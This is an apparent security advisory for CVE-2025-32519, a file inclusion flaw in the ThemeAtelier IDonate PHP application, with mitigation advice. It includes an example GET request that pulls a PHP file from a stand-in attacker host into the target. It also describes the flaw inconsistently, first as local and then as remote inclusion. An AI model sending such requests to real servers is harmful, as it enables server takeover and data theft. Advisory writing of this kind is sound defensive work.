Overview
The CVE-2025-32519 vulnerability refers to a flaw in the ThemeAtelier IDonate PHP application that allows an attacker to include local files improperly. As a result, it is a serious security risk because it exposes the system to potential compromise or data leakage. The vulnerability affects all IDonate versions from an unknown starting point up to version 2.1.8.
The severity of this vulnerability necessitates immediate action from system administrators and developers using ThemeAtelier IDonate. Successful exploitation could lead to a full system takeover or unauthorized access to sensitive data, which could severely disrupt business operations and result in loss of trust from customers and clients.
Vulnerability Summary
CVE ID: CVE-2025-32519
Severity: High (8.1 CVSS score)
Attack Vector: Network
Privileges Required: Low
User Interaction: None
Impact: System compromise, data leakage
Affected Products
No phone number, email, or personal info required.
Product | Affected Versions
ThemeAtelier IDonate | n/a to 2.1.8
How the Exploit Works
The PHP Remote File Inclusion vulnerability in ThemeAtelier’s IDonate stems from the application’s incorrect control of a filename in an include/require statement. An attacker can manipulate the filename to include a file from a remote server. Once the file is included, it is executed in the local server’s context, potentially leading to unauthorized access, system compromise, or data leakage.
Conceptual Example Code
The following is a conceptual example of how the vulnerability might be exploited. An attacker could send a GET request with a maliciously crafted filename:
GET /idonate/index.php?file=http://attacker.com/malicious_file.php HTTP/1.1
Host: target.example.comIn this example, `http://attacker.com/malicious_file.php` is the attacker-controlled PHP file. If the server processes the request, it would include and execute the malicious file, potentially leading to system compromise.
Recommendations for Mitigation
The best way to mitigate this vulnerability is by applying the vendor-provided patch. If this is not immediately possible, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as temporary mitigation. These solutions can filter and monitor HTTP requests to identify and block potential attacks exploiting this vulnerability. It is also advised to always validate user input strictly and disable the allow_url_include option in your PHP configuration.